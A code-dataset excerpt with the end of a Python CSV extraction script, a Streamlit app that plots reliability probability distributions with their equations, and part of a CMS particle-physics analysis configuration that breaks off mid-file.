(list(dbData)[col2] == geom):\n aux = record[col2]\n line = \"%s, \\\"%s\\\"\" % (line, aux)\n #print(aux)\n #sys.exit(-1)\n else:\n line = \"%s, %s\" % (line , record[col2])\n\n line = line[1:]\n output.write(line + \"\\n\")\n #print(line)\n # table = np.append(table, [record])\n\n #bairro = dbData[\"bairro\"][index]\n #print(index, \" \", bairro)\n #if (compared == dbData[field][index]):\n # print(dbData['bairro'][index])\n\n#print(np.size(table))\n\n#print(table[1])\noutput.close()\nprint(\"Total records: \", nrecords);\nprint(\"File: \", path + out_file, \"[SAVED]\")\n\n'''\nsize = dbData.size\nprint(dbPopulationata.keys())\nprint(len(dbPopulationata.keys()))\nprint(size)\nprint(dbPopulationata['distrito'][1])\n'''\n\n#print(sys.argv[1])\n","sub_path":"base/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"321634079","text":"\nimport streamlit as st\nimport plotly.graph_objects as go\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom reliability.Distributions import Weibull_Distribution, Lognormal_Distribution, Exponential_Distribution, Normal_Distribution, Gamma_Distribution, Beta_Distribution, Loglogistic_Distribution, Gumbel_Distribution\n\n\n\ndef show():\n\n #st.set_page_config(page_title=\"Parametric Model\",page_icon=\"📈\",layout=\"wide\", initial_sidebar_state=\"expanded\")\n\n hide_streamlit_style = \"\"\"\n \n \"\"\"\n st.markdown(hide_streamlit_style, unsafe_allow_html=True) \n #href_homepage = f' '\n #st.markdown(href_homepage, unsafe_allow_html=True)\n\n updatemenus_log = [\n dict(\n buttons=list([\n dict(\n args=[{'xaxis.type': '-', 'yaxis.type': '-'}],\n label='Linear',\n method='relayout'\n\n ),\n dict(\n args=[{'xaxis.type': 'log', 'yaxis.type': '-'}],\n label='Log-x',\n method='relayout'\n\n ),\n dict(\n args=[{'xaxis.type': '-', 'yaxis.type': 'log'}],\n label='Log-y',\n method='relayout'\n\n ),\n dict(\n args=[{'xaxis.type': 'log', 'yaxis.type': 'log'}],\n label='Log-xy',\n method='relayout'\n\n ),\n ]),\n direction=\"right\",\n type=\"buttons\",\n pad={\"r\": 10, \"t\": 10},\n x=0.0,\n xanchor=\"left\",\n y=1.115,\n yanchor=\"top\" \n\n )\n ]\n\n\n\n\n\n\n st.title(\"Parametric Model\")\n st.write(\"In this module, you can select and analyze the most common probability distributions in reliability \")\n\n\n\n\n\n\n distribution_name = st.selectbox( 'Select the distribution.', ('Exponential Distribution',\n 'Normal Distribution', 'Beta Distribution', 'Gumbel Distribution' ,'Weibull Distribution', 'Lognormal Distribution',\n 'Gamma Distribution','Loglogistic Distribution'))\n\n\n\n if distribution_name == \"Exponential Distribution\":\n var1_name, var2_name, var3_name= \"Lambda\", \"Gamma\" , \"None\"\n var1 = st.number_input(\"Scale parameter (Lambda)\" , min_value= float(np.finfo(float).eps), value=10.0)\n var2 = st.number_input(\"Displacement parameter (Gamma)\")\n dist_fun= Exponential_Distribution\n \n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\lambda = \\text{Scale parameter } (\\lambda > 0 )''' ) \n equation.latex(r''' \\text{Limits: } ( t \\leq 0) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\lambda e^{-\\lambda t}''') \n equation.latex(r''' \\text{CDF: } F(t) = 1 - \\lambda e^{-\\lambda t}''')\n equation.latex(r''' \\text{SF: } R(t) = e^{-\\lambda t}''') \n equation.latex(r''' \\text{HF: } h(t) = \\lambda''') \n equation.latex(r''' \\text{CHF: } H(t) = \\lambda t''') \n #dist = Exponential_Distribution(Lambda=var1,gamma=var2)\n elif distribution_name ==\"Normal Distribution\":\n var1_name, var2_name, var3_name = \"mu\",\"sigma\" ,\"None\"\n \n var1 = st.number_input(\"Location parameter (Mu)\" )\n var2 = st.number_input(\"Scale parameter (Sigma)\", min_value= float(np.finfo(float).eps), value=1.0)\n dist_fun= Normal_Distribution\n\n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\mu = \\text{Location parameter } ( -\\infty < \\mu < \\infty )''' ) \n equation.latex(r''' \\sigma = \\text{Scale parameter } ( \\sigma > 0)''' ) \n equation.latex(r''' \\text{Limits: } ( - \\infty < t < \\infty ) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{1}{\\sigma \\sqrt{2\\pi}} e^{\\frac{1}{2} \\left(\\frac{t-\\mu}{\\sigma}\\right)^2 } = \\frac{1}{\\sigma} \\phi \\left[ \\frac{t-\\mu}{\\sigma} \\right] ''') \n equation.latex(r''' \\text{Where } \\phi \\text{ is the standard normal PDF with } \\mu = 0 \\text{ and } \\sigma = 1''') \n equation.latex(r''' \\text{CDF: } F(t) = \\frac{1}{\\sigma \\sqrt{2\\pi}} \\int^t_{-\\infty} e^{\\left[ - \\frac{1}{2} \\left( \\frac{\\theta -\\mu}{\\sigma}\\right)^2 \\right] d\\theta } = \\frac{1}{2} + \\frac{1}{2} erf \\left(\\frac{t-\\mu}{\\sigma\\sqrt{2}}\\right) = \\Phi \\left(\\frac{t-\\mu}{\\sigma}\\right) ''')\n equation.latex(r''' \\text{Where } \\Phi \\text{ is the standard normal CDF with } \\mu = 0 \\text{ and } \\sigma = 1''')\n equation.latex(r''' \\text{SF: } R(t) = 1- \\Phi \\left(\\frac{t-\\mu}{\\sigma}\\right) = \\Phi \\left(\\frac{\\mu-t}{\\sigma}\\right) ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{ \\phi \\left[ \\frac{t-\\mu}{\\sigma} \\right] }{ \\sigma \\left( \\Phi \\left[\\frac{\\mu-t}{\\sigma}\\right] \\right)} ''') \n equation.latex(r''' \\text{CHF: } H(t) = -ln \\left[ \\Phi \\left(\\frac{\\mu-t}{\\sigma}\\right) \\right] ''') \n #dist = Normal_Distribution(mu=var1,sigma=var2)\n elif distribution_name ==\"Beta Distribution\":\n var1_name, var2_name, var3_name = \"alpha\",\"beta\", \"None\" \n var1 = st.number_input(\"Shape parameter (Alpha)\", min_value= float(np.finfo(float).eps), value=1.0)\n var2 = st.number_input(\"Shape parameter (Beta)\", min_value= float(np.finfo(float).eps), value=1.0)\n dist_fun= Beta_Distribution\n \n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\alpha = \\text{Shape parameter } ( \\alpha > 0) ''' ) \n equation.latex(r''' \\beta = \\text{Shape parameter } ( \\beta > 0) ''' ) \n equation.latex(r''' \\text{Limits: } ( 0 \\leq t \\leq 1 ) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{ \\Gamma(\\alpha +\\beta ) }{\\Gamma(\\alpha) \\Gamma(\\beta) } t^{\\alpha -1} (1-t)^{\\beta-1 } = \\frac{1}{ B(\\alpha,\\beta} t^{\\alpha -1} (1-t)^{\\beta-1 } ''') \n equation.latex(r''' \\text{Where } \\Gamma(x) \\text{ is the complete gamma function. } \\Gamma(x) = \\int^\\infty_{0} t^{x-1} e^{-t} dt ''') \n equation.latex(r''' \\text{Where } B(x,y) \\text{ is the complete beta function. } B(x,y) = \\int^{1}_{0} (1- t)^{y-1} dt ''') \n equation.latex(r''' \\text{CDF: } F(t) = \\frac{ \\Gamma(\\alpha +\\beta ) }{\\Gamma(\\alpha) \\Gamma(\\beta) } \\int^{t}_{0} \\theta^{\\alpha-1} (1-\\theta^{\\beta - 1} d\\theta = \\frac{B_t (t| \\alpha,\\beta) }{ B (\\alpha,\\beta)} = I_t (t| \\alpha,\\beta) ''')\n equation.latex(r''' \\text{Where } B_t(t|x,y) \\text{ is the incomplete beta function.} B_t (t|x,y) = \\int^{t}_{0} \\theta^{x-1} (1- \\theta)^{y-1} d\\theta ''')\n equation.latex(r''' \\text{Where } I_t(t|x,y) \\text{ is the regularized incomplete beta function which is defined in terms} ''')\n equation.latex(r''' \\text{ of the incomplete beta function and the complete beta function.} I_t(t|x,y) = \\frac{B_t(t|x,y)}{B_t(x,y)} ''')\n equation.latex(r''' \\text{SF: } R(t) = 1 - I_t(t|\\alpha,\\beta) ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{t^{y-1} (1-t) }{ B(\\alpha,\\beta) - B_t(t|\\alpha,\\beta) } ''') \n equation.latex(r''' \\text{CHF: } H(t) = -ln \\left[ 1 - I_t(t|\\alpha,\\beta) \\right] ''') \n #dist = Beta_Distribution(alpha=var1, beta=var2) \n elif distribution_name ==\"Gumbel Distribution\":\n var1_name, var2_name, var3_name = \"mu\",\"sigma\" , \"None\"\n var1 = st.number_input(\"Location parameter (Mu)\" )\n var2 = st.number_input(\"Scale parameter (Sigma)\", min_value= float(np.finfo(float).eps), value=1.0)\n\n dist_fun= Gumbel_Distribution\n\n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\mu = \\text{Location parameter } (-\\infty < \\mu < \\infty )''' ) \n equation.latex(r''' \\sigma = \\text{Scale parameter } (\\sigma > 0 )''' ) \n equation.latex(r''' \\text{Limits: } ( -\\infty 0 )''' ) \n equation.latex(r''' \\beta = \\text{Shape parameter } (\\beta > 0 )''' ) \n equation.latex(r''' \\text{Limits: } ( t \\leq 0) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{\\beta t^{\\beta-1} }{\\alpha^\\beta} e^{ \\frac{t}{\\alpha}^\\beta } = \\frac{\\beta}{\\alpha} \\left( \\frac{t}{\\alpha}\\right)^{(\\beta -1)} e^{-(\\frac{t}{\\alpha})^\\beta } ''') \n equation.latex(r''' \\text{CDF: } F(t) = 1 - e^{-(\\frac{t}{\\alpha})^\\beta } ''')\n equation.latex(r''' \\text{SF: } R(t) = e^{-(\\frac{t}{\\alpha})^\\beta } ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{\\beta}{\\alpha} \\left( \\frac{t}{\\alpha}\\right)^{(\\beta -1)} ''') \n equation.latex(r''' \\text{CHF: } H(t) = (\\frac{t}{\\alpha})^\\beta ''') \n #dist = Weibull_Distribution(alpha=var1, beta=var2,gamma=var3)\n elif distribution_name ==\"Lognormal Distribution\":\n var1_name, var2_name,var3_name = \"mu\",\"sigma\", \"gamma\" \n var1 = st.number_input(\"Location parameter (Mu)\" )\n var2 = st.number_input(\"Scale parameter (Sigma)\", min_value= float(np.finfo(float).eps), value=1.0)\n var3 = st.number_input(\"Location parameter (Gamma)\" )\n dist_fun= Lognormal_Distribution\n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\alpha = \\text{Scale parameter } (-\\infty < \\mu < \\infty )''' ) \n equation.latex(r''' \\beta = \\text{Shape parameter } (\\sigma > 0 )''' ) \n equation.latex(r''' \\text{Limits: } ( t \\leq 0) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{1}{\\sigma t \\sqrt{2 \\pi}} e^{ -\\frac{1}{2} \\left( \\frac{ln(t) -\\mu}{\\sigma} \\right)^2 } = \\frac{1}{\\sigma t} \\phi \\left[ \\frac{ln(t) -\\mu}{\\sigma} \\right] ''') \n equation.latex(r''' \\text{Where } \\phi \\text{is the standard normal PDF with } \\mu = 0 \\text{and } \\sigma =1 ''')\n equation.latex(r''' \\text{CDF: } F(t) = \\frac{1}{\\sigma \\sqrt{2\\pi}} \\int^t_{0} \\frac{1}{\\theta} e^{\\left[ - \\frac{1}{2} \\left( \\frac{ln(\\theta) -\\mu}{\\sigma}\\right)^2 \\right] d\\theta } = \\frac{1}{2} + \\frac{1}{2} erf \\left(\\frac{ln(t)-\\mu}{\\sigma\\sqrt{2}}\\right) = \\Phi \\left(\\frac{ln(t)-\\mu}{\\sigma}\\right) ''')\n equation.latex(r''' \\text{Where } \\Phi \\text{ is the standard normal CDF with } \\mu = 0 \\text{ and } \\sigma = 1''')\n equation.latex(r''' \\text{SF: } R(t) = 1- \\Phi \\left(\\frac{ln(t)-\\mu}{\\sigma}\\right) = \\Phi \\left(\\frac{\\mu- ln(t)}{\\sigma}\\right) ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{ \\phi \\left[ \\frac{ln(t)-\\mu}{\\sigma} \\right] }{ \\sigma \\left( \\Phi \\left[\\frac{\\mu-ln(t)}{\\sigma}\\right] \\right)} ''') \n equation.latex(r''' \\text{CHF: } H(t) = -ln \\left[ 1- \\Phi \\left(\\frac{ln(t) -\\mu}{\\sigma}\\right) \\right] ''') \n #dist = Lognormal_Distribution(mu=var1,sigma=var2,gamma=var3)\n elif distribution_name ==\"Gamma Distribution\":\n var1_name, var2_name, var3_name = \"alpha\", \"beta\", \"gamma\" \n var1 = st.number_input(\"Scale parameter (Alpha)\", min_value= float(np.finfo(float).eps), value=1.0)\n var2 = st.number_input(\"Shape parameter (Beta)\", min_value= float(np.finfo(float).eps), value=1.0)\n var3 = st.number_input(\"Location parameter (Gamma)\" )\n dist_fun= Gamma_Distribution\n\n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\alpha = \\text{Scale parameter } ( \\alpha > 0)''' ) \n equation.latex(r''' \\beta = \\text{Shape parameter } ( \\beta > 0)''' ) \n equation.latex(r''' \\text{Limits: } ( t \\leq 0 ) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{t^{\\beta-1}}{\\Gamma(\\beta)\\alpha^\\beta} e^{\\frac{t}{\\alpha}} ''')\n equation.latex(r''' \\text{Where } \\Gamma(x) \\text{ is the complete gamma function. } \\Gamma(x) = \\int^\\infty_{0} t^{x-1} e^{-t} dt''') \n equation.latex(r''' \\text{CDF: } F(t) = \\frac{1}{\\Gamma(\\beta)} \\gamma( \\beta, \\frac{t}{\\alpha}) ''')\n equation.latex(r''' \\text{Where } \\gamma(x,y) \\text{ is the lower incomplete gamma function. } \\gamma(x,y) = \\frac{1}{\\Gamma(x)} \\int^y_{0} t^{x-1} e^{-t} dt ''') \n equation.latex(r''' \\text{SF: } R(t) = \\frac{1}{\\Gamma(\\beta)} \\Gamma(\\beta,\\frac{t}{\\alpha}) ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{t^{\\beta-1}e^{-\\frac{t}{\\alpha}} }{\\alpha^\\beta \\Gamma(\\beta,\\frac{t}{\\alpha})}''') \n equation.latex(r''' \\text{CHF: } H(t) = -ln \\left[ \\frac{1}{\\Gamma(\\beta)} \\Gamma(\\beta,\\frac{t}{\\alpha}) \\right] ''') \n\n #dist = Gamma_Distribution(alpha=var1, beta=var2,gamma=var3) \n elif distribution_name ==\"Loglogistic Distribution\":\n var1_name, var2_name, var3_name = \"alpha\", \"beta\", \"gamma\"\n var1 = st.number_input(\"Scale parameter (Alpha)\", min_value= float(np.finfo(float).eps), value=1.0)\n var2 = st.number_input(\"Shape parameter (Beta)\", min_value= float(np.finfo(float).eps), value=5.0)\n var3 = st.number_input(\"Location parameter (Gamma)\" )\n dist_fun= Loglogistic_Distribution\n \n equation = st.expander(\"Equation Information\")\n equation.latex(r''' \\alpha = \\text{Scale parameter } ( \\alpha > 0)''' ) \n equation.latex(r''' \\beta = \\text{Shape parameter } ( \\beta > 0)''' ) \n equation.latex(r''' \\text{Limits: } ( t \\leq 0 ) ''' )\n equation.latex(r''' \\text{PDF: } f(t) = \\frac{ \\frac{\\beta}{\\alpha} (\\frac{t}{\\alpha})^{\\beta-1} }{ \\left( 1 + (\\frac{t}{\\alpha})^\\beta \\right)^2 } ''')\n equation.latex(r''' \\text{CDF: } F(t) = \\frac{1}{1 + (\\frac{t}{\\alpha})^{-\\beta} } = \\frac{(\\frac{t}{\\alpha})^{\\beta}}{ 1 + (\\frac{t}{\\alpha})^{\\beta}} = \\frac{t^{\\beta}}{\\alpha^{\\beta} + t^{\\beta}} ''')\n equation.latex(r''' \\text{SF: } R(t) = \\frac{1}{1 + (\\frac{t}{\\alpha})^{\\beta}} ''') \n equation.latex(r''' \\text{HF: } h(t) = \\frac{ \\frac{\\beta}{\\alpha} (\\frac{t}{\\alpha})^{\\beta-1} }{ 1 + (\\frac{t}{\\alpha})^\\beta } ''') \n equation.latex(r''' \\text{CHF: } H(t) = -ln \\left( 1 + (\\frac{t}{\\alpha})^{\\beta} \\right) ''') \n\n else:\n st.write(\"Select a distribution\")\n\n\n expander = st.expander(\"Plot parameter\")\n points_quality = expander.number_input('Number of points to plot', min_value=5,value = 1000, max_value = 100000 )\n show_variable = expander.checkbox(\"Show distribution properties.\", value=True, key=None)\n st.write(\" \")\n if st.button(\"Plot distribution\"):\n \n properties_dist = st.empty()\n\n if var3_name == \"None\":\n dist = dist_fun(var1,var2)\n else:\n dist = dist_fun(var1,var2,var3)\n\n if distribution_name ==\"Beta Distribution\" and (var1 <=1 or var2 <=1):\n properties_dist.text(\"\"\"\n Mean: {}\n Median: {}\n Mode: No mode exists unless Alpha and Beta are greater than 1.\n Variance: {}\n Standard Deviation: {}\n Skewness: {} \n Kurtosis: {}\n Excess Kurtosis: {} \n \"\"\".format(dist.mean,dist.median, dist.variance, dist.standard_deviation, dist.skewness, dist.kurtosis, dist.excess_kurtosis ) )\n else:\n properties_dist.text(\"\"\"\n Mean: {}\n Median: {}\n Mode: {}\n Variance: {}\n Standard Deviation: {}\n Skewness: {} \n Kurtosis: {}\n Excess Kurtosis: {} \n \"\"\".format(dist.mean,dist.median ,dist.mode, dist.variance, dist.standard_deviation, dist.skewness, dist.kurtosis, dist.excess_kurtosis ) )\n\n if distribution_name == \"Loglogistic Distribution\" and var2 <=1:\n st.write(\"No plot when beta less or equal than 1\")\n else:\n dist.PDF() \n x_min,x_max = plt.gca().get_xlim()\n x = np.linspace(float(x_min),float(x_max),int(points_quality))\n y_PDF = dist.PDF(xvals=x)\n y_CDF = dist.CDF(xvals=x)\n y_SF = dist.SF(xvals=x)\n y_HF = dist.HF(xvals=x)\n y_CHF = dist.CHF(xvals=x)\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=x, y=y_PDF, mode='lines', name = 'PDF', marker=dict(color = 'rgba(255, 223, 118, 0.9)'), visible = True))\n fig.add_trace(go.Scatter(x=x, y=y_CDF, mode='lines', name = 'CDF', marker=dict(color = 'rgba(255, 0, 0, 0.9)'), visible = 'legendonly'))\n fig.add_trace(go.Scatter(x=x, y=y_SF, mode='lines', name = 'SF', marker=dict(color = 'rgba(0, 255, 0, 0.9)'), visible = 'legendonly'))\n fig.add_trace(go.Scatter(x=x, y=y_HF, mode='lines', name = 'HF', marker=dict(color = 'rgba(0, 0, 255, 0.9)'), visible = 'legendonly'))\n fig.add_trace(go.Scatter(x=x, y=y_CHF, mode='lines', name = 'CHF', marker=dict(color = 'rgba(135, 45, 54, 0.9)'), visible = 'legendonly'))\n if show_variable:\n if distribution_name ==\"Normal Distribution\":\n fig.add_vline(x=dist.mean, line_dash=\"dash\", annotation_text=\"Mean, Median, Mode\", annotation_position=\"top right\")\n elif distribution_name ==\"Beta Distribution\" and (var1 <=1 or var2 <=1):\n fig.add_vline(x=dist.mean, line_dash=\"dash\", annotation_text=\"Mean\", annotation_position=\"top right\")\n fig.add_vline(x=dist.median, line_dash=\"dash\", annotation_text=\"Median\", annotation_position=\"top right\")\n else:\n fig.add_vline(x=dist.mean, line_dash=\"dash\", annotation_text=\"Mean\", annotation_position=\"top right\")\n fig.add_vline(x=dist.median, line_dash=\"dash\", annotation_text=\"Median\", annotation_position=\"top right\")\n fig.add_vline(x=dist.mode, line_dash=\"dash\", annotation_text=\"Mode\", annotation_position=\"top right\")\n fig.update_layout(width = 1900, height = 600, title = 'Dados analisados', yaxis=dict(tickformat='.2e'), xaxis=dict(tickformat='.2e'), updatemenus=updatemenus_log,title_text='Parametric Model - {} ({}) '.format(distribution_name,dist.param_title)) #size of figure\n fig.update_xaxes(title = 'Time')\n fig.update_yaxes(title = 'Probability density')\t\t\t\n st.plotly_chart(fig)\n","sub_path":"show_parametricmodel.py","file_name":"show_parametricmodel.py","file_ext":"py","file_size_in_byte":19263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619654497","text":"# Zprime cfg for crab submission \n\nimport FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"Ana\")\n\n#----------------------------------------------------------------------------------------\n### SETUP\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.load(\"Configuration.EventContent.EventContent_cff\")\nprocess.load(\"Configuration.StandardSequences.GeometryRecoDB_cff\")\nprocess.load('Configuration.StandardSequences.MagneticField_38T_cff')\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_condDBv2_cff')\nprocess.GlobalTag.globaltag = '80X_mcRun2_asymptotic_2016_TrancheIV_v8'\nprocess.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(False) )\nprocess.options.allowUnscheduled = cms.untracked.bool(True)\n\nisMC = True\n\n#----------------------------------------------------------------------------------------\n### INPUT\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(10) )\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 1000\n\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n 'root://cms-xrd-global.cern.ch//store/mc/RunIISummer16MiniAODv2/ZprimeToTT_M-4000_W-40_TuneCUETP8M1_13TeV-madgraphMLM-pythia8/MINIAODSIM/PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/110000/86AA52D0-1BB7-E611-805C-A0000420FE80.root'\n #'root://cmsxrootd.fnal.gov///store/mc/RunIISummer16MiniAODv2/ZprimeToTT_M-3000_W-30_TuneCUETP8M1_13TeV-madgraphMLM-pythia8/MINIAODSIM/PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/80000/46F4D728-78BE-E611-ABD3-0CC47A5FBE31.root'\n #'root://cmsxrootd.fnal.gov///store/mc/RunIISummer16MiniAODv2/ZprimeToTT_M-3000_W-30_TuneCUETP8M1_13TeV-madgraphMLM-pythia8/MINIAODSIM/PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/80000/D6D620EF-73BE-E611-8BFB-B499BAA67780.root' \n ),\n inputCommands = cms.untracked.vstring('keep *','drop *_*ctpps*_*_*'),\n)\n\n#----------------------------------------------------------------------------------------\n### MET Filters\nprocess.load('RecoMET.METFilters.BadChargedCandidateFilter_cfi')\nprocess.load('RecoMET.METFilters.BadPFMuonFilter_cfi')\nprocess.BadChargedCandidateFilter.muons = cms.InputTag(\"slimmedMuons\")\nprocess.BadChargedCandidateFilter.PFCandidates = cms.InputTag(\"packedPFCandidates\")\nprocess.BadChargedCandidateFilter.debug = cms.bool(False)\nprocess.BadPFMuonFilter.muons = cms.InputTag(\"slimmedMuons\")\nprocess.BadPFMuonFilter.PFCandidates = cms.InputTag(\"packedPFCandidates\")\nprocess.BadPFMuonFilter.debug = cms.bool(False)\n\n\n#----------------------------------------------------------------------------------------\n### VID\nfrom PhysicsTools.SelectorUtils.tools.vid_id_tools import *\ndataFormat = DataFormat.MiniAOD\nswitchOnVIDElectronIdProducer(process, dataFormat)\nmy_id_modules = [\n 'RecoEgamma.ElectronIdentification.Identification.cutBasedElectronHLTPreselecition_Summer16_V1_cff',\n 'RecoEgamma.ElectronIdentification.Identification.cutBasedElectronID_Summer16_80X_V1_cff',\n 'RecoEgamma.ElectronIdentification.Identification.heepElectronID_HEEPV70_cff'\n]\n\nfor idmod in my_id_modules:\n setupAllVIDIdsInModule(process,idmod,setupVIDElectronSelection)\n\n#----------------------------------------------------------------------------------------\n### MET //https://twiki.cern.ch/twiki/bin/view/CMS/MissingETUncertaintyPrescription\nfrom PhysicsTools.PatUtils.tools.runMETCorrectionsAndUncertainties import runMetCorAndUncFromMiniAOD\n\n# If you only want to re-correct and get the proper uncertainties\nrunMetCorAndUncFromMiniAOD(process,\n isData=not isMC,\n )\n\n# If you would like to re-cluster and get the proper uncertainties\n# runMetCorAndUncFromMiniAOD(process,\n# isData=True (or False),\n# pfCandColl=cms.InputTag(\"packedPFCandidates\"),\n# recoMetFromPFCs=True,\n# )\n\n#----------------------------------------------------------------------------------------\n### Puppi (https://twiki.cern.ch/twiki/bin/viewauth/CMS/PUPPI)\nprocess.load('CommonTools/PileupAlgos/Puppi_cff')\nprocess.puppi.candName = cms.InputTag('packedPFCandidates')\nprocess.puppi.vertexName = cms.InputTag('offlineSlimmedPrimaryVertices')\nprocess.puppi.useExistingWeights = cms.bool(True)\nprocess.puppiOnTheFly = process.puppi.clone()\nprocess.puppiOnTheFly.useExistingWeights = True\n\n\n#----------------------------------------------------------------------------------------\n### Toolbox (https://twiki.cern.ch/twiki/bin/viewauth/CMS/JetToolbox)\nfrom JMEAnalysis.JetToolbox.jetToolbox_cff import jetToolbox\n\nak8Cut = 'pt > 30 && abs(eta) < 2.5'\nak8pupCut = 'pt > 140 && abs(eta) < 2.5'\n\nlistBTagInfos = [\n 'pfInclusiveSecondaryVertexFinderTagInfos',\n]\nlistBtagDiscriminatorsAK8 = [ \n # 'pfJetProbabilityBJetTags',\n 'pfCombinedInclusiveSecondaryVertexV2BJetTags',\n # 'pfCombinedMVAV2BJetTags',\n # 'pfCombinedCvsLJetTags',\n # 'pfCombinedCvsBJetTags',\n # 'pfBoostedDoubleSecondaryVertexAK8BJetTags',\n # 'pfBoostedDoubleSecondaryVertexCA15BJetTags',\n]\n\n# |---- jetToolBox: JETTOOLBOX RUNNING ON MiniAOD FOR AK8 JETS USING CHS\n# |---- jetToolBox: Applying this corrections: ('AK8PFchs', ['L1FastJet', 'L2Relative', 'L3Absolute'], 'None')\n# |---- jetToolBox: Running ak8PFJetsCHSSoftDropMass, selectedPatJetsAK8PFCHSSoftDropPacked, selectedPatJetsAK8PFCHSSoftDropSubjets, ak8PFJetsCHSPrunedMass, ak8PFJetsCHSTrimmedMass, ak8PFJetsCHSFilteredMass, NjettinessAK8CHS, NsubjettinessAK8PFCHSSoftDropSubjets.\n# |---- jetToolBox: Creating selectedPatJetsAK8PFCHS collection.\n# vector \"selectedPatJetsAK8PFCHS\" \"\" \"Ana\" \n# vector \"selectedPatJetsAK8PFCHSSoftDropPacked\" \"\" \"Ana\" \n# vector \"selectedPatJetsAK8PFCHSSoftDropPacked\" \"SubJets\" \"Ana\" \n# vector \"selectedPatJetsAK8PFCHS\" \"genJets\" \"Ana\" \n# vector \"selectedPatJetsAK8PFCHS\" \"pfCandidates\" \"Ana\" \n\njetToolbox( process, 'ak8', 'ak8JetSubs', 'out', \n runOnMC = isMC, \n PUMethod='CHS', \n # updateCollection='slimmedJetsAK8', # can't run groomers on this yet\n # JETCorrPayload='AK8PFchs', # needed for update collection\n JETCorrLevels = [ 'None' ],\n subJETCorrLevels = [ 'None' ],\n addSoftDropSubjets = True, \n addTrimming = True, rFiltTrim=0.2, ptFrac=0.05,\n addPruning = True, \n addFiltering = True, \n addSoftDrop = True, \n addNsub = True, \n bTagInfos = listBTagInfos, \n bTagDiscriminators = listBtagDiscriminatorsAK8, \n addCMSTopTagger = False, \n Cut = ak8Cut , \n addNsubSubjets = True, \n subjetMaxTau = 3 )\n\n\n# |---- jetToolBox: JETTOOLBOX RUNNING ON MiniAOD FOR AK8 JETS USING Puppi\n# |---- jetToolBox: Applying this corrections: ('AK8PFPuppi', ['L2Relative', 'L3Absolute'], 'None')\n# |---- jetToolBox: Running ak8PFJetsPuppiSoftDropMass, selectedPatJetsAK8PFPuppiSoftDropPacked, selectedPatJetsAK8PFPuppiSoftDropSubjets, ak8PFJetsPuppiPrunedMass, ak8PFJetsPuppiTrimmedMass, ak8PFJetsPuppiFilteredMass, NjettinessAK8Puppi, NsubjettinessAK8PFPuppiSoftDropSubjets.\n# |---- jetToolBox: Creating selectedPatJetsAK8PFPuppi collection.\n# vector \"selectedPatJetsAK8PFPuppi\" \"\" \"Ana\" \n# vector \"selectedPatJetsAK8PFPuppiSoftDropPacked\" \"\" \"Ana\" \n# vector \"selectedPatJetsAK8PFPuppiSoftDropPacked\" \"SubJets\" \"Ana\" \n# vector \"selectedPatJetsAK8PFPuppi\" \"genJets\" \"Ana\" \n# vector \"selectedPatJetsAK8PFPuppi\" \"pfCandidates\" \"Ana\" \n\n\njetToolbox( process, 'ak8', 'ak8JetSubs', 'out', \n runOnMC = isMC, \n newPFCollection=True, \n nameNewPFCollection='puppiOnTheFly',\n PUMethod='Puppi', \n JETCorrLevels = [ 'None' ],\n subJETCorrLevels = [ 'None' ],\n addSoftDropSubjets = True, \n addTrimming = True, rFiltTrim=0.2, ptFrac=0.05,\n addPruning = True, \n addFiltering = True, \n addSoftDrop = True, \n addNsub = True, \n bTagInfos = listBTagInfos, \n bTagDiscriminators = listBtagDiscriminatorsAK8, \n addCMSTopTagger = False, \n Cut = ak8pupCut , \n addNsubSubjets = True, \n subjetMaxTau = 3 )\n\n#----------------------------------------------------------------------------------------\n### Analyzer\n\n## LOCAL RUNNING\n# JECtxtlocation = '../../../JMEAnalysis/JECDatabase/textFiles/Summer16_23Sep2016V3_MC/'\n# JERtxtlocation = '../../../JMEAnalysis/JRDatabase/textFiles/Spring16_25nsV10_MC/'\n## CRAB SUBMIT\nJECtxtlocation=''\nJERtxtlocation=''\n\nprocess.ana = cms.EDAnalyzer('B2GTTbarTreeMaker',\n \n verbose = cms.bool(False),\n verboseGen = cms.bool(False),\n useToolbox = cms.bool(True),\n \n runGenLoop = cms.bool(True),\n runAllHadTree = cms.bool(True),\n runSemiLeptTree = cms.bool(False),\n\n isZprime = cms.bool(True),\n isttbar = cms.bool(False),\n isRSG = cms.bool(False),\n isRun2016F = cms.bool(False),\n\n ak8chsInput = cms.InputTag(\"selectedPatJetsAK8PFCHS\"), \n ak8puppiInput = cms.InputTag(\"selectedPatJetsAK8PFPuppi\"),\n ak8chsSubjetsInput = cms.InputTag(\"selectedPatJetsAK8PFCHSSoftDropPacked\",\"SubJets\"),\n ak8puppiSubjetsInput 